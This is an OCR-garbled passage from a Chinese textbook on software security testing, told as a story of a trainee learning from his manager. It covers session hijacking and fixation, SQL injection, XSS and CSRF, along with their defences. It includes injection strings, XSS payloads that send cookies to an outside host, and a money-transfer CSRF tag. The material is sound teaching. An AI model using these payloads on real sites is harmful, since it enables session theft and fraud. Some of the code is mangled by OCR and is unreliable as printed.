其 加 密 过 程 就 是 以 明文 字母 选择 列 ， 以 密 钥 字母 选择 行 ， 两 者 的 交点 就 是 加 密生 成 的 密码 字母 。 解 密 时 ， 以 密码 字母 选择 行 ， 从 中 找到 密 文字 母 ， 密 文字 母 所 在 列 的 列 名 即 为 明文 字母 。 


2. 转 换 密 码 法 


在 上 述 两 种 替代 密码 法 中 ， 明 文 的 顺序 没有 被 改变 ， 只 是 通过 各 个 字母 特定 的 映射 关系 把 原文 隐藏 起 来 。 转 换 密码 法 不 是 对 字母 进行 映射 转换 ， 而 是 利用 密 钥 重新 安排 原文 字母 的 顺序 。 其 方法 是 将 密 


钥 中 的 字母 按 正 常 字母 序列 的 顺序 进行 编号 ， 并 按 密 钥 中 字母 的 个 数 将 明文 分 行 ， 分 


具体 步骤 如 下 。 

1) 选取 一 个 较为 合适 的 密 钥 : come。 

2) 明文 : thetaskhasbeenfinished。 

3) 编号 : 按照 密 钥 中 字母 的 先后 顺序 进行 编号 。 
come 

1432 


Д) 根据 密 钥 的 长 度 ， 将 明文 按 顺 序 分 行 。 


行 后 形成 矩阵 中 的 列 ， 按 密 钥 字 母 的 编号 重新 编排 ， 生 成 新 的 行 ， 则 即 可 得 到 密 文 。 


кє 
і 
r3 


5) 按照 各 列 的 顺序 编号 重新 编排 得 到 密 文 。 


taaeni theih ekbfsd hssnie 


明文 与 密 文 对 应 关系 的 比较 。 


通过 上 述 两 种 结果 的 比较 ， 显 然 由 于 方法 不 同 ， 相 同 的 明文 可 以 得 到 不 同 的 密 文 。 


看 到 小 白 抬 起 头 了 看 着 自己 ， 小 黑 经 理 知道 小 白 这 是 已 经 看 完了 简单 加 密 的 文档 。 “这 是 几 种 简单 的 加 密 方式 ， 加 上 咱们 熟悉 的 MD5、ASCII、Base64， 等 等 ， 基 本 已 经 够 咱们 测试 工作 使 用 了 。 在 安 
全 测试 过 程 中 可 能 会 遇 到 这 样 的 一 个 session ID, ”小 黑 经 理 在 纸 上 写 下 了 一 串 字 符 串 。 


757365723861646696e3b061707038646166350646174653831302 


[30392 


3131 


“看 这 样 一 个 session ID 的 字符 串 ， 你 能 想到 什么 ”” 小 黑 经 理 抬 起 头 来 问 小 白 。 


小 白 想 了 一 下 ， 回 答 道 : “全 部 都 是 十 六 进 制 ， 长 度 又 这 么 长 ， 应 该 是 ASCII 码 吧 ? ” 


“ 阵 ，” 小 黑 经 理 赞赏 地 说 道 ，“ 反 解 得 到 该 捉 字符 含义 是 这 样 的 。” 


User-admin; app-daf; date-10/09/11 


小 黑 经 理 继续 在 纸 上 写 下 解密 结果 : 


“如 果 这 样 ， 攻 击 者 就 可 以 枚 举 大 量 用 户 名 来 生成 可 能 有 效 的 令 牌 ， 实 施 攻 击 。 ”小 黑 经 理 总 结 道 。 


/J \ 白 若 有 所 思 地 点 点 头 。 


不 等 小 白 想 完 ， 小 黑 经 理 又 继续 自 顾 自 地 说 了 下 去 ，“ 说 完 会 话 生 成 过 程 中 的 漏洞 ， 那 么 接着 说 会 话 在 传输 过 程 中 的 漏洞 。 在 会 话 令 牌 传输 过 程 中 ， 经 常 遇 到 的 两 种 攻击 ， 一 种 是 会 话 劫持 攻击 ， 另 一 
种 是 会 话 固定 攻击 。 " 


小 白 抢 道 : “这 个 我 知道 了 ， 会 话 动 持 攻击 就 是 使 用 XSS 的 方法 或 者 运用 一 些 社会 学 的 办 法 ， 获 得 了 其 他 用 户 的 session 1D 和 cookie， 从 而 能 够 模拟 成 为 合法 用 户 登 录 ， 对 吧 ?“ 


“其 实 是 ， 那 天 在 Besttest 论 坛 里 看 到 有 人 说 的 .….. 实 际 上 我 还 不 知道 什么 是 XSS。” 


小 黑 经 理 一 阵 摇头 ，“ 我 还 是 给 你 举 个 例子 吧 。 比 如 正常 登录 一 个 网 站 ， 登 录 的 用 户 名 是 admin， 记 录 好 登录 后 的 sessionid。 这 时 候 打开 另 一 个 浏览 器 ， 我 们 尝试 访问 一 个 私密 链接 ; 这 时 浏览 器 会 提 
示 我 们 登录 。 这 说 明 这 个 链接 需要 登录 以 后 才能 观看 。 这 时 候 我 们 截获 这 个 请 求 ， 然 后 修改 sessionid 为 上 面 admin 用 户 的 sessionid， 然 后 提交 ; 这 时 我 们 会 发 现 进 入 了 admin 用 户 的 个 人 信息 页 面 。 这 说 明 


我 们 成 功 地 以 admin 用 户 的 身份 进行 了 登录 。 当 然 了 ， 这 个 例子 只 是 会 话 动 持 的 模拟 ， 在 实际 的 网 络 中 ，sessionid 往 往 是 通过 可 预测 的 会 话 令 牌 或 者 通过 XSS 泄 露出 去 的 。"” 


“我 明白 了 ，XSS 等 我 后 边 学 到 再 看 吧 ， 那 么 会 话 固定 攻击 是 什么 呢 ?”” 


“会 话 固定 其 实 也 可 以 说 是 会 话 支持 的 一 种 类 型 。 会 话 支持 是 攻击 者 偷 走 受害 者 与 服务 器 建立 链接 的 会 话 ， 而 会 话 固定 是 攻击 者 事先 建立 一 个 会 话 ， 然 后 诱 使 受害 者 使 用 此 会 话 进 行 登录 。” 见 小 白 一 
脸 迷 茫 ， 小 黑 经 理 只 好 说 下 去 ，“ 比 如 ， 我 是 一 个 攻击 者 ,今天 我 友 现 一 个 网 站 有 会 话 固定 的 漏洞 ， 那 么 我 与 网 站 服务 器 有 了 一 个 会 话 ， 把 我 自己 的 会 话 1D 抓 取 下 来 ,假设 是 123456， 然 后 我 构造 了 这 样 一 
个 URL”， 小 黑 经 理 在 纸 上 写 着 : http://www.xxx.com/loginjsp?sessionid=123456。 


“构造 好 以 后 我 发 给 你 ， 当 你 不 小 心 打开 链接 进行 登录 的 时 候 ， 你 输入 了 你 的 合法 用 户 名 和 | 密码， 但 是 注意 ， 由 于 此 时 你 的 session 1D 已 经 被 我 设置 成 为 了 123456， 那 么 我 如 果 输 入 这 样 一 个 URL”， 
小 黑 经 理 继 续 写 下 这 样 一 个 URL: http://www.xxx.com/viewprofile.jsp?sessionid=123456。 


“这 时 候 我 就 可 以 看 到 你 的 个 人 信息 了 ， 因 为 这 个 session ID 代表 了 你 。 这 样 明 白 了 么 ? " 
“ 咽 ， 谢 了 经 理 ， 我 还 有 最 后 一 个 问题 。 " 
“ 问 吧 ! ” “我 看 了 下 这 笔记 ， 后 边 就 没有 了 ， 后 半 部 分 内 容 呢 ?“ 


小 黑 经 理 脸 上 露出 了 不 好 意思 的 神色 ， 说 道 : “这 个 啊 ， 因 为 当时 写 在 了 两 个 笔记 本 上 ， 但 是 第 二 本 找 不 到 了 ， 所 以 后 边 大 约 包含 了 SQL 注 入 、XSS、CSRF， 需 要 你 自己 查 一 下 了 ， 这 样 吧 ， 你 自己 也 
继续 写 下 去 吧 ， 接 着 我 的 那 部 分 。” 


小 白 睁 大 了 眼睛 ， 惕 了 好 一 会 儿 ， 只 好 点 点 头 。“ 没 想到 早晨 才 想 的 以 后 自己 写 一 本 笔记 ， 这 么 快 就 实现 了 .……” 人 小 白 心中 腹 诽 道 。 


10.34. SQL 注入 攻击 


第 二 天 早晨 ， 小 白 就 忙碌 于 整理 SQL 注入 攻击 的 相关 资料 了 。 其 实 对 于 SQL 注入 ， 无 论 是 常 在 验证 机 制 中 出 现 的 “万 能 密码 ” ， 还 是 在 BestTest 论 坛 上 看 到 坛 友 分 享 的 一 些 基础 SQL 注入 判断 ， 小 白 都 或 
多 或 少 有 一 些 了 解 。 小 白 根据 自己 搜索 学 习 到 的 资料 ， 将 SQL 注 入 的 部 分 总 结 成 一 篇 Q&A 形式 的 文档 ， 以 助 于 自己 了 解 。 


О: 什么 是 SQL 注 入 ? 


A: 几乎 每 一 个 Web 应 用 都 需要 使 用 数据 库 来 保存 操作 所 需 的 各 种 信息 ， 所 以 Web 程 序 经 常会 建立 用 户 提交 的 数据 的 SQL 语句 。 如 果 建 立 这 种 语句 的 方法 不 安全 ， 攻 击 者 就 可 以 通过 把 SQL 命令 插入 
Web 表 单 、URL 等 位 置 的 方式 ， 最 终 将 SQL 命令 随 页 面 请 求 提交 至 服务 器 ， 达 到 欺骗 服务 器 执行 恶意 SQL 命令 的 目的 。 


О: 什么 是 基于 SQL 注入 攻击 的 万 能 密码 ? 原理 是 什么 ? 
А: 通常 我 们 称 在 登录 时 输入 的 'or 1=1 该 类 型 的 密码 为 万 能 密码 。 其 原理 如 下 。 


登录 模块 的 经 典 SQL 语 句 为 : 


SELECT id FROM Users WHERE Username = ‘+username+’ AND Password = `+password+' 


假如 用 户 名 为 admin 的 密码 是 123456， 则 登录 时 形成 的 SQL 语句 为 : 


SELECT id FROM Users WHERE Username = ‘admin’ AND Password = '123456', 
恶意 输入 用 户 名 : Username = \or'1=1 和 恶意 输入 密码 Password = ‘or’1=1。 


得 到 的 SQL 会 被 算 改 为 : 


SELECT id FROM Users WHERE Username = "or'1-1' AND Password = “ог\1=1” 


对 于 SQL 解析 器 来 说 ， 这 是 一 个 可 以 正确 解析 并 且 可 以 被 执行 的 SQL 语句 ， 它 的 结果 等 效 为 

SELECT id FROM Users。 

只 要 数据 库 中 有 数据 ， 那 么 该 语句 就 能 够 获取 user 表 中 的 每 条 记录 ， 一 般 应 用 程序 会 选择 返回 第 一 个 记录 作为 登录 的 用 户 ， 而 很 多 系统 的 第 一 个 用 户 为 管理 员 ， 这 样 情况 就 变 得 更 加 糟糕 。 
О: SQL 注入 的 危害 是 什么 ? 

A: SQL 注入 的 危害 主要 体现 在 如 下 3 个 方面 。 

1) 探知 数据 库 的 具体 结构 ， 为 进一步 攻击 做 准备 。 

2) 泄露 数据 ， 尤 其 是 机 密 信息 、 账 户 信息 等 。 

3) 取得 更 高 权限 ， 来 修改 表 数 据 ， 甚 至 是 内 部 结构 。 


О: 怎样 判断 是 否 存在 SQL 注入 漏洞 ? 


A: 经 典 的 “1=1” 测 试 法 。 

如 有 一 个 URL 为 : http://www.sample.comytest.asp?id=1 可 正常 运行 。 测 试 步骤 如 下 。 

1) http://www.sample.com/test.asp?id- 1' ， 如 果 提 交 的 SQL 语句 变 成 SELECTx*from table where id=1' ， 那 么 页 面 返回 异常 。 
2) http://www.sample.com/test.asp?id- 1 and 1=1， 页 面 运行 正常 且 页 面 与 http://www.sample.comytest.asp?id= 1 完全 相同 。 
3) http://www.sample.com/test.asp?id=1 and 1=2， 运 行 出 现 异常 或 页 面 与 http://www.sample.com/test.asp?id=1 不 同 。 

如 果 满 足 上 述 3 条 ， 则 一 定 存在 SQL 注入 漏洞 。 不 存在 SQL 注入 漏洞 的 会 表现 则 应 为 : 有 程序 定义 的 错误 提示 ， 或 提示 类 型 转换 时 出 错 。 
上 面 是 传 入 参数 是 数字 型 的 时 候 使 用 的 判断 方法 ， 如 果 传 入 的 是 字符 型 ， 那 么 可 以 用 “'a'='a', 'a'='b" 来 代 奉 “1=1，1=2”。 

О: 判断 出 注入 点 ， 该 如 何 进 行 SQL 注入 攻击 ? 


A: 首先 ， 作 为 安全 测试 人 员 ， 我 们 需要 知道 的 只 是 如 何 定位 SQL 注入 漏洞 位 置 ， 而 无 须 了 解 攻 击 手段 。 当 然 ， 作 为 安全 爱好 者 ， 完 全 可 以 学 习 一 些 这 方面 的 内 容 ， 下 面 以 SQL Server 数 据 库 为 例 ， 介 
绍 一 种 实用 的 SQL 注入 手段 。 


http: //www.sample.com/test.asp? 14=1 and user>0 


这 句 语 句 包含 了 SQL Servel 特 有 注入 方法 的 精髓 。user 是 SQL Server 的 一 个 内 置 变量 ， 它 的 值 是 当前 连接 的 用 户 名 ， 类 型 为 nvarchar。 一 个 nvarchar 数 据 类 型 的 值 与 int 型 的 数值 0 比较 ， 系 统 会 先 试图 
将 nvarchar 的 值 转 成 int 型 ， 转 换 过 程 中 就 会 出 错 ，SQL Server 的 出 错 提示 是 ， 将 nvarchar 值 “test” 转换 数据 类 型 为 jint 型 时 发 生 语法 错误 ， 这 样 test 正 是 变量 user 的 值 ， 从 而 成 功 拿 到 了 数据 库 的 用 户 名 。 


很 多 基于 SQL 注入 漏洞 的 攻击 都 需要 提交 大 量 请 求 ， 并 提取 数据 。 也 有 很 多 工具 可 以 帮助 自动 完成 这 个 过 程 ， 其 中 最 常用 的 工具 为 sqlmap。 

SQLMAP 是 一 个 自动 SQL 射 入 工具 ， 是 基于 Python 开发 的 ， 自 然 ， 我 们 使 用 该 工具 也 要 使 用 简单 的 Python 语句 ， 最 适合 应 用 到 已 经 确定 的 注入 点 上 ， 使 其 自动 执行 SQL 盲 注 攻 击 ， 最 终 获 得 数据 。 
Q: SQL 注入 漏洞 该 如 何 防范 ? 

A: SQL 注入 漏洞 非常 容易 修复 ， 即 运用 参数 化 查询 的 方式 与 数据 库 交 互 。 参 数 化 查询 也 叫做 预 处 理 语句 ， 建 立 一 个 包含 用 户 输入 的 SQL 语句 时 分 为 以 下 两 步 。 

1) 指定 查询 结构 ， 用 户 输入 预 留 占 位 符 。 

2) 指定 占 位 符 的 内 容 。 


例如 ， 下 面 一 段 代码 。 


// 定义 查询 结构 
tring query = "SELECT username , role FROM USER WHERE username- ? "; 
/ 预 处 理 


S 
/ 
stm= con.prepareStatement (query) ; 
/ 
5 


/将 用 户 输 入 添加 到 第 一 个 占 位 符 
tm.setString (1, request.getParameter ("name") ) ; 
rs-stm.executeQuery; 


小 白 在 自己 的 笔记 本 上 整整 写 了 一 天 ， 才 算 把 SQL 注入 部 分 整理 结束 。 回 想 了 一 下 这 部 分 内 容 ， 竟 然 印 象 十 分 深刻 。 


10.3.5 XSS 攻 击 
总 结 好 了 SQL 注入 部 分 的 笔记 ， 小 白 很 得 意 地 去 小 黑 经 理 办 公 室 献 宝 。 结 果 小 白 Q&A 的 总 结 方式 被 小 黑 经 理 很 是 鄙视 了 一 番 ， 让 小 白 甚 是 贿 愧 。 决 定 还 是 效仿 小 黑 经 理 的 写法 继续 完成 剩 下 的 内 容 。 
XS3S 攻 击 对 于 小 白 来 说 ， 是 一 个 完全 陌生 的 领域 。 于 是 小 白 从 零 开 始 学 习 并 总 结 XSS 攻 击 的 原理 和 测试 手段 。 
1. 什 么 是 XSS 攻 击 


XS3 攻 击 ， 又 称 为 跨 站 脚本 攻击 。 在 Web 应 用 中 ， 恶 意 攻击 者 将 某 些 攻击 代码 植 入 提供 给 用 户 查 看 或 使 用 的 页 面 中 ， 当 用 户 在 打开 网 页 时 ， 恶 意 脚本 会 执行 。 这 类 攻击 通常 通过 注入 HTML 或 Js 等 脚本 
发 动 攻击 。 攻 击 成 功 后 ， 攻 击 者 可 以 得 到 私密 网 页 内 容 以 及 cookie 等 。 简 单 来 说 ，XSs 攻 击发 生 的 核心 原因 是 未 正确 处 理 用 户 提交 的 数据 ， 从 而 使 恶意 脚本 代码 得 以 提交 和 执行 。 


下 面 介 绍 XSSs 的 分 类 。 

XSS 攻 击 的 危害 巨大 ， 通 常 被 用 来 盗 取 会 话 令 牌 ， 算 改 甚至 删除 重要 数据 和 资料 ， 伪 装 用 户 进 行 非法 操作 和 非法 转账 等 。 
XSS 漏 洞 分 为 三 类 ， 分 别 为 : 反射 式 XSS、 存 储 式 XSS 和 基于 DOM 的 XSS。 

(1) 反射 式 XSS 


反射 式 XSS 是 目前 最 常见 的 XSS 攻 击 类 型 ， 也 称 为 非 永久 性 XSS 攻 击 。 若 服务 器 直接 使 用 客户 端 提交 的 数据 ， 如 URL 中 包含 的 参数 、HTML 表 单 中 的 提交 数据 等 ， 并 且 没 有 对 这 些 数据 进行 无 害 化 过 渡 。 
万 一 提交 的 数据 中 含有 恶意 脚本 而 没有 被 正确 处 理 ， 那 么 一 个 简单 的 XSS 攻 击 就 会 发 生 。 


的 脚本 。 举 一 个 典型 的 案例 可 以 帮助 理解 。 
用 户 A 在 浏览 某 个 为 B 所 拥有 的 网 站 http://www.sample.com。A 使 用 用 户 名 /密码 进行 登录 ， 并 存储 了 某 些 敏感 信息 (个 人 信息 及 银行 账户 信息 等 ) 。 


《发 现 B 的 站 点 包含 一 个 反射 性 的 XSS 漏 洞 。C 编 写 一 个 可 以 利用 该 漏洞 的 URL， 并 将 其 冒充 为 来 自 B 的 邮件 发 送 给 A。 


http: // www.sample.com /test.aspx? message=<script>var+i=new + Image; i.src=http: //c.net/£2bdocument.cookie; </script> 


A 点 击 了 C 提 供 的 URL 并 登录 ， 谋 入 在 URL 中 的 恶意 脚本 在 A 的 浏览 器 中 执行 ， 就 像 它 直接 来 自 B 的 服务 器 一 样 。 此 脚本 盗 窍 敏感 信息 (会话 、 个 人 信息 等 ) ， 在 A 完全 不 知情 的 情况 下 ， 向 C 的 Web 站 点 
发 起 一 个 带 有 敏感 信息 的 请 求 ，C 监 控 访问 http://c.net 的 请 求 便 可 截获 A 的 会 话 令 牌 。 


(2) 存储 式 XSS 


存储 式 XSS 也 称 为 永久 性 XSS， 危 害 更 大 。 攻 击 者 将 攻击 脚本 上 传 到 Web 服 务 器 上 ， 使 得 所 有 访问 该 页 面 的 用 户 都 面临 信息 泄露 的 可 能 ， 其 中 也 包括 了 Web 服 务 器 的 管理 员 。 
典型 例子 : 


在 一 个 交友 网 站 上 ， 一 个 人 在 个 人 信息 上 写 上 一 段 脚本 ， 例 如: 


«script»window.open (http: //www.mysite.com? yourcookie-document.cookie) «/script» 


而 该 网 站 没有 对 该 段 内 容 进行 正确 编码 ， 那 么 网 站 其 他 用 户 看 到 这 个 用 户 信息 页 时 ， 就 会 将 当前 的 cookie 提 交 到 该 用 户 的 Web 站 点 上 。 
(3) 基于 DOM 的 XSS 攻 击 
反射 式 XSS 攻 击 和 存储 式 XSS 攻 击 有 一 定 的 相似 之 处 ， 二 者 都 是 将 用 户 数 据 提交 到 服务 器 端 ， 服 务 器 以 不 安全 的 方式 将 其 返回 给 用 户 。 基 于 DOM 的 XSS 攻 击 仪 通过 JS 的 方式 执行 。 


当 Javascript 在 浏览 器 执行 时 ， 浏 览 器 会 提供 给 javascript 代 码 几 个 DOM 对 象 。 文 档 对 象 首当其冲 ， 并 且 它 代表 大 多 数 浏览 器 呈现 的 页 面 属 性 。 其 子 对 象 包括 location、URL 和 referrer。 这 些 对 象 根据 
浏览 器 的 显示 填充 浏览 器 。 因 此 ，document.URL 和 document.location 是 由 页 面 的 URL 按 照 浏览 器 的 解析 填充 的 。 


基于 DOM 的 Xss 攻 击 常 发 生 在 应 用 程序 每 次 返回 相同 的 静态 HTML， 而 通过 客户 端 Javascript 动 态 生成 信息 时 。 
2.XSS 攻 击 的 测试 方法 
探测 是 否 存在 XSS 漏 洞 的 基本 测试 方法 是 使 用 一 个 概念 验证 攻击 字符 串 : 


><script>alert (document.cookie) «/script» 


这 个 字符 串 被 提交 给 每 个 应 用 程序 页 面 中 的 每 一 个 参数 ， 同 时 测试 者 监控 所 有 请 求 的 响应 ， 看 响应 中 是 否 返回 这 个 相同 的 字符 串 。 如 果 发 现 攻 击 字 符 串 按 原样 出 现在 响应 中 ， 就 几乎 可 以 肯定 应 用 程序 
存在 XSS 漏 洞 。 


如 果 要 尽快 确定 应 用 程序 中 是 否 存 在 的 XSS 漏 洞 ， 那 么 这 个 方法 是 最 为 简洁 有 效 的 方法 ， 并 且 它 可 以 实现 高 度 自动 化 。 


经 常 使 用 的 检测 字符 串通 常 还 有 : 


—-' »«script»alert (document.cookie) </script> 
«script»alert (document.cookie) </script> 


<script>alert (vulnerable) </script> 

<script>alert ('XSS') </script> 

«imgsrc-"javascript.: alert ('XSS') “> 

«imgsrc-"http: //xxx.com/yyy.png" onerror-"alert (XSS) “> 


3.XSS 的 防范 措施 
对 于 XSS 攻 击 的 防御 ， 网 站 通常 采取 输入 确认 和 输出 编码 两 种 方式 ， 以 期 最 大 程度 地 保护 Web 应 用 。 即 使 某 一 层 防御 被 攻击 者 攻破 ， 另 一 层 过 渡 仍 然 可 以 阻止 该 攻击 。 
(1) 输入 确认 


如 果 应 用 程序 收 到 某 个 用 户 请 求 ， 其 中 提交 的 数据 将 来 有 可 能 被 复制 到 它 的 响应 中 ， 应 用 程序 需要 对 这 些 数据 执行 尽 可 能 严格 的 确认 。 例 如 ， 过 滤 非 法 字符 (<、>、”、% 等 ) 、 添 加 白 名 单 、 根 据 不 
同 的 字段 设置 不 同 的 确认 规则 等 。 


(2) 输出 编码 


如 果 应 用 程序 已 经 将 某 些 用 户 提交 的 数据 复制 到 它 的 响应 中 ， 那 么 应 用 程序 应 对 这 些 数 据 进行 HTML 编 码 ， 以 净化 可 能 存在 的 恶意 字符 。 这 样 做 可 以 最 大 程度 地 确保 浏览 器 安全 处 理 潜 在 的 恶意 字符 ， 
将 它们 转化 成 HTML 文 档 的 内 容 而 进行 处 理 。 


XSS 攻 击 的 简单 原理 、 测 试 手段 以 及 防范 措施 小 白 就 记录 到 这 里 了 。 通 过 学 习 小 白 发 现 还 有 更 多 的 内 容 萤 合 其 中 ， 需 要 在 未 来 的 测试 工作 中 继续 摸索 。 看 了 看 手 上 注 薄 的 笔记 本 ， 小 白 决 定 趁 热 打 铁 ， 
学 习 听 起 来 与 XSS 攻 击 很 像 的 CSRF 攻 击 。 


10.3.6 ”CSRF 攻 击 


CSRF 攻 击 ， 也 称 为 跨 站 请 求 伪造 ， 或 者 也 有 人 根据 其 攻击 方式 形象 地 称 其 为 one click attack， 是 一 种 对 网 站 的 恶意 利用 。 
1. 什 么 是 CSRF 攻 击 


尽管 听 起 来 像 跨 站 脚本 (XSS) ， 但 它 与 XSS 非 常 不 同 ， 并 且 攻 击 方式 几乎 相左 。XSS 是 利用 站 点 内 的 信任 用 户 ， 获 取 用 户 的 cookie 等 私密 信息 ; 而 CSRF 则 不 去 获取 用 户 的 任何 信息 ， 只 是 通过 伪装 为 
来 自 受信 任用 户 的 请 求 ， 通 过 社会 工程 学 的 手段 (如 通过 聊天 工具 发 送 一 个 链接 或 被 处 理 过 的 包含 跳 转 的 图 片 等 ) 来 患 惑 用 户 进行 一 些 敏感 性 的 操作 ， 如 修改 密码 、 转 账 等 ， 而 用 户 还 不 知道 自己 已 经 中 
fB. 

CSRF 的 破坏 力 依赖 于 受害 者 的 权限 。 如 果 受 害 者 只 是 个 普通 的 用 户 ， 则 一 次 成 功 的 CSRF 攻 击 会 危害 用 户 的 数据 、 账 户 以 及 一 些 功能 ; 如 果 受 害 者 具有 管理 员 权 限 ， 则 一 次 成 功 的 CSRF 攻 击 甚至 会 威胁 
到 整个 网 站 的 安全 。 

一 个 典型 的 CSRF 攻 击 的 例子 : 


A 登录 了 一 个 银行 网 站 testbank.com， 准 备 进行 查询 和 网 上 转账 。B 通 过 自己 的 分 析 和 攻击 尝试 ， 了 解 到 这 个 站 点 的 转账 功能 有 某 个 CSRF 漏 洞 。 于 是 ，B 在 自己 的 博客 上 发 表 了 一 条 博客 ， 并 且 在 博客 
中 插入 了 提前 构造 好 的 一 行 HTML 代 码 。 


«img src-http: //teswtbank.com/transferMoney.jsp? to=B&cash=6000 width-"1" height-"1" border-"0" /> 


A 在 自己 的 浏览 器 上 打开 了 另 一 个 标签 页 正好 也 读 到 这 个 博客 。 那 么 A 的 账户 就 不 知 不 觉 地 向 B 的 账户 转账 6000 元 。 
2.CSRF 攻 击 的 测试 方法 


一 般 来 说 ， 测 试 人 员 需 要 对 Web 应 用 中 的 一 些 核心 功能 进行 CSRF 检 测 ， 那 么 首先 需要 确定 哪些 功能 需要 进行 CSRF 检 测 。 不 同 的 应 用 有 不 同 的 标准 ， 但 有 些 核心 功能 基本 每 个 Web 应 用 中 都 有 ， 而 且 十 
分 关键 。 例 如 : 


1) 修改 密码 。 

2) 对 私密 信息 及 数据 的 修改 、 删 除 功能 。 

3) 与 金钱 相关 的 功能 ， 如 购物 车 、 团 购 等 。 

在 进行 如 上 功能 CSRF 测 试 的 时 候 ， 可 以 假定 自己 同时 具备 两 个 身份 : 攻击 者 和 受害 者 ， 然 后 按照 下 面 的 步骤 进行 操作 。 

1) 用 受害 者 身份 登录 ， 然 后 进行 某 个 重要 功能 的 操作 ， 假 设 进行 转账 ，URL 为 : http://localhost/adduser?transferMoney.jsp?to=someone&cash=6000。 


2) 以 攻击 者 的 身份 构造 这 个 重要 操作 的 URL， 如 可 以 写 为 : «img src= “http://localhost/adduser?transferMoney.jsp? 
to=someone&cash=6000” width= "1" height= "1" border= “0” />, 


3) 在 确保 受害 者 登录 的 情况 下 ， 让 受害 者 点 击 攻击 者 构造 的 URL 或 生成 的 图 片 。 

Д) 检查 结果 : 服务 器 是 否 执 行 了 你 的 请 求 。 如 果 执 行 了 ， 则 说 明 那 个 重要 功能 存在 CSRF 漏 洞 。 

3.CSRF 攻 击 常 用 防范 措施 

(1) 增加 一 些 确 认 操 作 

比如 说 上 面 提 到 的 转账 功能 ， 当 用 户 调用 银行 系统 API 进 行 转账 的 时 候 ， 弹 出 一 个 对 话 框 ， 如 你 确认 要 转账 6000 元 吗 ? 这 样 CSRF 受 害 者 就 可 以 知道 他 可 能 中 招 了 。 
(2) 重新 认证 


执行 一 些 重要 敏感 的 操作 时 ， 可 以 要 求 用 户 重 新 输入 密码 ， 或 者 单独 输入 一 个 支付 密码 以 及 手机 验证 码 等 进行 二 次 验证 ， 只 有 正确 了 才能 继续 操作 。 这 种 做 法 显然 更 安全 ， 但 对 于 用 户 来 说 ， 易 用 性 上 
差 了 一 些 ， 毕 竟 是 增加 了 一 步 操作 。 所 以 安全 和 易 用 性 ， 有 时 候 不 得 不 做 出 取舍 。 


(3) session 失 效 

建立 一 个 尽量 短 一 些 的 会 话 不 活动 超时 机 制 。 

(4) 设置 Token 

1) 在 用 户 第 一 次 登录 后 ， 产 生 一 个 新 的 不 可 预知 的 CSRF Token ， 并 且 把 此 Token 存 放 在 用 户 的 session 中 。 

2) 进入 某 功能 模块 ， 发 现存 在 一 个 需要 保护 的 表单 ， 则 需要 增加 一 个 隐藏 的 字段 来 存放 这 个 Token; 同样 ， 对 于 需要 保护 的 URL， 增 加 一 个 参数 来 存放 此 Token。 
3) 提交 此 请 求 的 时 候 ， 在 服务 器 端 通过 请 求 提交 的 Token 与 用 户 session 中 的 Token 是 否 一 致 ， 如 果 一 致 ， 则 继续 处 理 请 求 ， 否 则 返回 一 个 错误 信息 给 用 户 。 

4) 在 用 户 退 出 或 者 session 过 期 的 时 候 ， 用 户 信息 (包括 CSRF Token) 从 session 中 移 除 并 且 销 毁 session。 


小 白 合 上 了 笔记 本 ， 到 这 里 ， 基 本 的 安全 测试 漏洞 原理 、 测 试 方法 以 及 防 学 措施 都 学 习 过 一 遍 了 ， 初 步 完 成 了 从 安全 “小 白 ” 到 合格 的 安全 测试 工程 师 的 蚁 变 。 明 天 电 商 平台 的 安全 测试 工作 就 要 正式 
开始 了 ， 小 白 相 信 通 过 这 一 段 时 间 的 学 习 和 和 总结， 自己 一 定 可 以 很 好 地 完成 这 次 测试 任务 ， 当 然 ， 也 一 定 可 以 在 工作 中 加 深 对 安全 测试 的 理解 ， 实 现 技术 能 力 上 的 提高 。 想 到 这 里 ， 小 白 又 露出 了 兴奋 的 神 
色 。 


10.4 本章 小 结 
通过 这 一 段 时 间 的 安全 学 习 ， 小 白 简 单 了 解 了 安全 测试 的 基本 概念 、 工 作 流 程 ， 同 时 深入 理解 了 安全 测试 漏洞 的 原理 、 测 试 手 段 和 防范 措施 ， 并 成 功 运 用 到 了 项 目 中 。 在 学 习 和 工作 的 过 程 中 ， 小 白 理 


解 到 了 安全 测试 工程 师 与 普通 功能 测试 、 性 能 测试 工程 师 的 不 同 之 处 ， 那 就 是 由 于 公司 中 开发 团队 对 于 安全 测试 基本 知识 的 荐 乏 ， 所 以 很 多 时 候 ， 小 白 不 仅仅 要 指出 安全 问题 的 所 在 ， 更 要 指导 开发 人 员 如 
何 去 修 复 这 样 的 安全 问题 。 经 历 了 性 能 测试 与 安全 测试 历练 的 小 白 ， 接 下 来 还 会 怎样 提高 自己 呢 ? 想 必 多 与 测试 界 的 成 功 人 士 交 流 是 个 很 好 的 办 法 。 


вое БАА 


经 过 这 段 时 间 的 磨炼 ， 小 和 白 成 长 了 许多 ， 在 学 习 的 过 程 中 也 认识 了 很 多 朋友 ， 闲 暇 之 余 也 会 经 党 交流 聚会 ， 虽 然 每 个 人 的 成 长 历程 都 不 一 样 ， 但 都 有 一 个 共同 之 处 就 是 努力 、 坚 持 ! 小 白 脑 中 一 直 回忆 
着 他 们 的 成 长 历程 ， 仿 佛 看 到 的 就 是 自己 ， 经 历 过 历练 之 后 的 沉淀 也 许 对 于 此 时 的 小 白 来 说 尤为 重要 。 


第 11 章 ”测试 工程 师 转型 实录 


下 面 就 看 看 小 白 这 些 朋 友 的 成 长 历程 ， 也 许 你 还 在 犹 殉 ， 也 许 你 已 经 踏 入 学 习 之 旅 ， 相 信 看 完 这 些 真 实 的 成 长 录 后 ， 你 肯定 能 感同身受 ， 找 到 心灵 的 一 点 触动 。 


11.1 从 非 IT 业 到 性 能 测试 工程 师 的 华丽 转型 


我 2008 年 毕业 于 一 所 普通 的 本 科 院 校 ， 作 为 一 名 信息 员 进 入 了 一 家 国有 企业 ， 随 着 工作 时 间 的 延长 ， 每 日 重复 单调 的 工作 让 我 的 激情 消耗 列 尽 ， 放 眼 望 去 ， 似 乎 能 看 到 10 年 后 的 我 依旧 如 此 ， 心 底 开 始 
出 现 了 丽 慌 焦虑， 通 得 我 重 拾 激情 。 


就 在 职业 生涯 遇 到 瓶颈 的 时 候 ， 通 过 朋友 的 介绍 ， 发 现 软 件 测试 是 一 个 很 有 成 就 感 的 工作 ， 寻 找 Bug 的 乐趣 也 是 非凡 的 ， 于 是 决定 步 入 这 个 圈子 。 学 习 的 过 程 是 枯燥 的 ， 开 始 的 兴奋 很 快 就 被 空洞 的 文 


字 折 磨 得 所 剩 无 几 ， 自 学 的 效率 很 低 。 也 尝试 着 投了 上 百 份 简历 ， 但 都 石沉大海 。 


